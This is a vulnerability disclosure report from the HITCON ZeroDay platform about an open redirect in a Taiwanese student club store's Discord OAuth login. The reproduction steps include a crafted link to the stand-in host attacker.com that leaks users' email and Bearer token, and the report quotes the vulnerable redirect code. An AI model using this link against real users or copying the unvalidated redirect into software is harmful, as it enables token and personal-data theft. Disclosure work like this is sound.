[Bounty] 中部高中電資社團聯合會議 Discord OAuth Open Redirect 導致使用者 Email 及 Access Token 洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00304
  •  發信 Vendor: 中部高中電資社團聯合會議
  • Title: [Bounty] 中部高中電資社團聯合會議 Discord OAuth Open Redirect 導致使用者 Email 及 Access Token 洩漏
  • Introduction: /login?redirurl= 參數未驗證,攻擊者可誘導受害者登入後將 Discord email 及 Bearer token 洩漏至外部網站
  • 感謝函

處理狀態

目前狀態

公開
Last Update : 2026/07/22
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/02/28 17:33:29 : 新提交 (由 SIRIUS 更新此狀態)
  • 2026/02/28 17:35:30 : 新提交 (由 SIRIUS 更新此狀態)
  • 2026/03/02 11:08:10 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/21 09:25:14 : 修補中 (由 組織帳號 更新此狀態)
  • 2026/07/22 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00304
  • 通報者:Sirius_W (SIRIUS)
  • 風險:中
  • 類型:未驗證的 URL 轉址 (Unvalidated Redirects and Forwards)

參考資料

攻擊者可利用該漏洞將受害者導向至惡意網站。

OWASP Top 10 2010 - A10 - Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards

Unvalidated Redirects and Forwards Cheat Sheet
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
http://cwe.mitre.org/data/definitions/601.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://store.scaict.org/login
https://store.scaict.org/callback
https://github.com/scaict/SCAICT-uwu/blob/main/app.py

敘述

漏洞說明

store.scaict.org 的 Discord OAuth 登入流程中,/login 路由接受 redirurl 參數作為登入後的跳轉目標,並透過 OAuth state 傳遞至 /callback

/callback 路由在完成 Discord OAuth 後,未對 state(即 redirurl)做任何網域驗證,直接將以下敏感資料以 GET 參數附加後跳轉:

  • username:使用者 Discord 帳號名稱
  • user_id:Discord User ID
  • email:使用者真實電子郵件
  • headers:含 Authorization: Bearer <access_token>(Discord OAuth token)

重現步驟

  1. 攻擊者構造以下連結並傳給受害者:
    https://store.scaict.org/login?redirurl=attacker.com/steal
  2. 受害者點擊連結,進行正常的 Discord OAuth 授權
  3. 授權完成後,受害者被 redirect 至:
    https://attacker.com/steal?username=xxx&user_id=123&[email protected]&headers=Authorization: Bearer eyJ...
  4. 攻擊者的伺服器從 access log 取得完整個資及 token

影響

  • 受害者 Discord email 外洩
  • Discord OAuth Bearer Token 洩漏,攻擊者可用此 token 呼叫 Discord API 存取受害者帳號資訊
  • 無需受害者互動即可完成攻擊(只需點一個看似正常的登入連結)

漏洞原始碼(GitHub 公開 repo)

https://github.com/scaict/SCAICT-uwu/blob/main/app.py

if redirurl:  # and is_safe_url(redirurl):  ← 驗證被註解掉了!
    params = {
        "username": user_data["username"],
        "user_id": user_data["id"],
        "email": user_data.get("email"),
        "headers": headers,  # ← 含 Bearer Token
    }
    return redirect(f"https://{redirurl}{separator}{urlencoded}")

修補建議

1. 實作 redirurl 白名單驗證,只允許跳轉至 scaict.org 旗下網域
2. 移除 GET redirect 中的 email 和 headers 參數,敏感資料不應透過 URL 傳遞
3. 將原本被註解掉的 is_safe_url() 驗證補回並實作

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;